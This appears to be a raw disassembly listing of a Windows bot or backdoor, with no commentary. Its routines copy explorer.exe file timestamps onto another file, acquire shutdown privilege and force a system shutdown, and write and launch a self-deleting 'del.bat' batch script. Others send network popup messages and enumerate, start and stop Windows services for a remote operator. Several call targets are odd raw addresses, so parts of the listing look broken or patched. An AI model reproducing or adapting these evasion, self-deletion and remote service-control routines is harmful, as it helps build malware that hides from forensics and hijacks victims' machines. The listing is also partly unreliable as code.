		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CB030
		test	eax, eax
		jz	short loc_418332
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 27F0000h
		push	ebx
		mov	ebx, dword_427068
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 27E0864h
		push	esi
		call	ebx

loc_418332:				; CODE XREF: sub_418293+2Aj
					; sub_418293+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418293	endp


; =============== S U B	R O U T	I N E =======================================



sub_418337	proc near		; CODE XREF: sub_401ACD+16B1p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CAEB4
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418337	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418359	proc near		; CODE XREF: sub_401ACD+2754p
					; ___:0041686Bp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837D
		cmp	dword_4CB044, esi
		jnz	short loc_41837D
		push	esi
		call	sub_401000
		pop	ecx

loc_41837D:				; CODE XREF: sub_418359+13j
					; sub_418359+1Bj
		call	sub_40B2BF
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 26A0000h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	near ptr 2700923h
		nop
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DD
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 26F0000h
		push	edi
		nop
		call	near ptr 2660969h
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_43D128
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	near ptr 2680DD9h
		nop
		push	eax
		call	near ptr 2670000h
		nop
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 2680CF2h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418485
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	near ptr 2680C20h
		nop

loc_418485:				; CODE XREF: sub_418359+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2800000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2660C61h

loc_4184DD:				; CODE XREF: sub_418359+72j
		pop	edi
		pop	esi
		leave
		retn
sub_418359	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E1	proc near		; CODE XREF: sub_401ACD+7232p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26D05BAh
		cmp	[ebp+var_84], 2
		jnz	short loc_418577
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CAEF4
		push	edi
		push	eax
		call	dword_4CAF04
		test	eax, eax
		jz	short loc_418569
		push	[ebp+arg_10]
		push	offset dword_438984

loc_418542:				; CODE XREF: sub_4184E1+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		jmp	short loc_4185A1
; ---------------------------------------------------------------------------

loc_418569:				; CODE XREF: sub_4184E1+57j
		call	near ptr 2680835h
		nop
		push	eax
		push	offset unk_43895C
		jmp	short loc_418542
; ---------------------------------------------------------------------------

loc_418577:				; CODE XREF: sub_4184E1+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_43892C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch

loc_4185A1:				; CODE XREF: sub_4184E1+86j
		pop	edi
		leave
		retn
sub_4184E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185A4	proc near		; CODE XREF: sub_401ACD+55FEp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26D05BAh
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FA
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E3
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FA
		leave
		retn
; ---------------------------------------------------------------------------

loc_4185E3:				; CODE XREF: sub_4185A4+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F5
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FA

loc_4185F5:				; CODE XREF: sub_4185A4+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_4185FA:				; CODE XREF: sub_4185A4+27j
					; sub_4185A4+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 26B0000h
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		nop
		call	near ptr 26B0373h
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41D817
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 2780000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418684	proc near		; CODE XREF: sub_40111D+F7p
					; ___:0040E6E2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 26907AFh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_427700
		call	sub_41C798
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418684	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C1	proc near		; CODE XREF: sub_401ACD:loc_406126p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418719
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_4389A8[esi]
		push	edi
		push	eax
		call	sub_41873B
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418709
		push	edi
		push	off_4389A4[esi]
		push	offset unk_438AB8

loc_4186F9:				; CODE XREF: sub_4186C1+56j
		mov	esi, offset dword_4DAFF0
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418736
; ---------------------------------------------------------------------------

loc_418709:				; CODE XREF: sub_4186C1+2Aj
		push	eax
		call	sub_4187DD
		pop	ecx
		push	eax
		push	edi
		push	offset unk_438A8C
		jmp	short loc_4186F9
; ---------------------------------------------------------------------------

loc_418719:				; CODE XREF: sub_4186C1+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DAFF0
		push	off_4389A0[eax*4]
		push	offset unk_438A68
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418736:				; CODE XREF: sub_4186C1+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873B	proc near		; CODE XREF: sub_4186C1+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CAF68
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418762
		nop
		call	near ptr 2680835h
		mov	ebx, eax
		jmp	short loc_4187D7
; ---------------------------------------------------------------------------

loc_418762:				; CODE XREF: sub_41873B+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CAE50
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418782
		nop
		call	near ptr 2680835h
		mov	ebx, eax
		jmp	short loc_4187CF
; ---------------------------------------------------------------------------

loc_418782:				; CODE XREF: sub_41873B+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B5
		cmp	eax, 3
		jz	short loc_4187A6
		jle	short loc_4187C8
		cmp	eax, 6
		jg	short loc_4187C8
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CAEBC
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------

loc_4187A6:				; CODE XREF: sub_41873B+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CAE58
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------

loc_4187B5:				; CODE XREF: sub_41873B+4Dj
		push	esi
		call	dword_4CAEC0

loc_4187BC:				; CODE XREF: sub_41873B+69j
					; sub_41873B+78j
		test	eax, eax
		jnz	short loc_4187C8
		nop
		call	near ptr 2680835h
		mov	ebx, eax

loc_4187C8:				; CODE XREF: sub_41873B+54j
					; sub_41873B+59j ...
		push	esi
		call	dword_4CAE6C

loc_4187CF:				; CODE XREF: sub_41873B+45j
		push	edi
		call	dword_4CAE6C
		pop	esi

loc_4187D7:				; CODE XREF: sub_41873B+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DD	proc near		; CODE XREF: sub_4186C1+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418892
		jz	loc_41888B
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418855
		jz	short loc_41884B
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418841
		dec	ecx
		dec	ecx
		jz	short loc_418837
		dec	ecx
		jz	short loc_41882D
		sub	ecx, 51h
		jz	short loc_418823
		sub	ecx, 24h
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418823:				; CODE XREF: sub_4187DD+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_41882D:				; CODE XREF: sub_4187DD+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418837:				; CODE XREF: sub_4187DD+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418841:				; CODE XREF: sub_4187DD+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_41884B:				; CODE XREF: sub_4187DD+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418855:				; CODE XREF: sub_4187DD+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418884
		dec	ecx
		jz	short loc_41887D
		dec	ecx
		jz	short loc_418876
		dec	ecx
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418876:				; CODE XREF: sub_4187DD+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_41887D:				; CODE XREF: sub_4187DD+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_418884:				; CODE XREF: sub_4187DD+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_41888B:				; CODE XREF: sub_4187DD+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_418892:				; CODE XREF: sub_4187DD+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F5
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418949[ecx]
		jmp	off_418921[ecx*4] ; switch jump

loc_4188B6:				; DATA XREF: ___:off_418921o
		push	offset aTheSpecifiedDa ; jumptable 004188AF case 7
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188BD:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDepe ; jumptable 004188AF case 17
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188C4:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDe_0 ; jumptable 004188AF case 10
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188CB:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasB ; jumptable 004188AF case 0
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188D2:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheSpecified_0 ; jumptable 004188AF case 2
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188D9:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceCoul ; jumptable 004188AF case 11
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188E0:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHa_0 ; jumptable 004188AF case 14
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188E7:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheRequested_1 ; jumptable 004188AF case 3
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188EE:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasN ; jumptable 004188AF case 4
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188F5:				; CODE XREF: sub_4187DD+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."

loc_4188FA:				; CODE XREF: sub_4187DD+41j
					; sub_4187DD+4Bj ...
		push	offset dword_4DA930
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41891B
; ---------------------------------------------------------------------------

loc_418908:				; CODE XREF: sub_4187DD+36j
					; sub_4187DD+89j ...
		push	eax		; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DA930
		call	sub_41B886
		add	esp, 0Ch

loc_41891B:				; CODE XREF: sub_4187DD+129j
		mov	eax, offset dword_4DA930
		retn
sub_4187DD	endp

; ---------------------------------------------------------------------------
off_418921	dd offset loc_4188CB	; DATA XREF: sub_4187DD+D2r
		dd offset loc_4188D2	; jump table for switch	statement
		dd offset loc_4188E7
		dd offset loc_4188EE
		dd offset loc_4188B6
		dd offset loc_4188C4
		dd offset loc_4188D9
		dd offset loc_4188E0
		dd offset loc_4188BD
		dd offset loc_418908
byte_418949	db	0,     9,     1,     2 ; DATA XREF: sub_4187DD+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41895B	proc near		; CODE XREF: sub_401ACD+45D3p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CAF68
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_418993:				; CODE XREF: sub_41895B+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CAF34
		test	eax, eax
		jnz	short loc_4189CD
		nop
		call	near ptr 2680835h
		cmp	eax, 0EAh
		jnz	loc_418A81

loc_4189CD:				; CODE XREF: sub_41895B+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A78
		lea	esi, [ebp+var_188]

loc_4189DE:				; CODE XREF: sub_41895B+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A27
		dec	eax
		jz	short loc_418A20
		dec	eax
		jz	short loc_418A19
		dec	eax
		jz	short loc_418A12
		dec	eax
		jz	short loc_418A0B
		dec	eax
		jz	short loc_418A04
		dec	eax
		jz	short loc_4189FD
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_4189FD:				; CODE XREF: sub_41895B+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A04:				; CODE XREF: sub_41895B+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A0B:				; CODE XREF: sub_41895B+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A12:				; CODE XREF: sub_41895B+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A19:				; CODE XREF: sub_41895B+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A20:				; CODE XREF: sub_41895B+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A27:				; CODE XREF: sub_41895B+87j
		push	offset aStopped	; "    Stopped"

loc_418A2C:				; CODE XREF: sub_41895B+A0j
					; sub_41895B+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DE

loc_418A78:				; CODE XREF: sub_41895B+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418993

loc_418A81:				; CODE XREF: sub_41895B+6Cj
		push	[ebp+var_C]
		call	dword_4CAE6C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A98	proc near		; CODE XREF: sub_401ACD:loc_406166p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418B32
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC1
		dec	eax
		jnz	short loc_418B12
		push	edi
		push	0
		call	sub_418C6B
		pop	ecx
		pop	ecx
		jmp	short loc_418B0E
; ---------------------------------------------------------------------------

loc_418AC1:				; CODE XREF: sub_418A98+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B00
		push	24h
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B00
		push	57h
		pop	eax

loc_418AD8:				; CODE XREF: sub_418A98+78j
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DABEC
		push	off_4389A0[eax*4]
		push	offset unk_43904C
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------

loc_418B00:				; CODE XREF: sub_418A98+2Dj
					; sub_418A98+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418BBF
		add	esp, 0Ch

loc_418B0E:				; CODE XREF: sub_418A98+27j
		test	eax, eax
		jnz	short loc_418AD8

loc_418B12:				; CODE XREF: sub_418A98+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DABEC
		push	off_4389A4[eax*4]
		push	offset dword_439030
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------

loc_418B32:				; CODE XREF: sub_418A98+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DABEC
		lea	eax, [eax+eax*2]
		push	off_4389A0[eax*4]
		push	offset unk_43900C
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418B52:				; CODE XREF: sub_418A98+66j
					; sub_418A98+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A98	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B58	proc near		; CODE XREF: sub_419E79+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B65
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_418B65:				; CODE XREF: sub_418B58+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DADEC, 1
		mov	ebp, eax
		jnz	short loc_418BA2
		or	byte_4DADEC, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	dword_4DAB8C, eax

loc_418BA2:				; CODE XREF: sub_418B58+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DAB8C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DAB8C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BBF	proc near		; CODE XREF: sub_418A98+6Ep
					; sub_41A19D+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41BFB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2A
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CAE68
		pop	edi
		leave
		retn
sub_418BBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2A	proc near		; CODE XREF: sub_418BBF+Ap
					; sub_418BBF+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C37
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_418C37:				; CODE XREF: sub_418C2A+9j
		push	ebx
		push	esi
		mov	esi, dword_427180
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
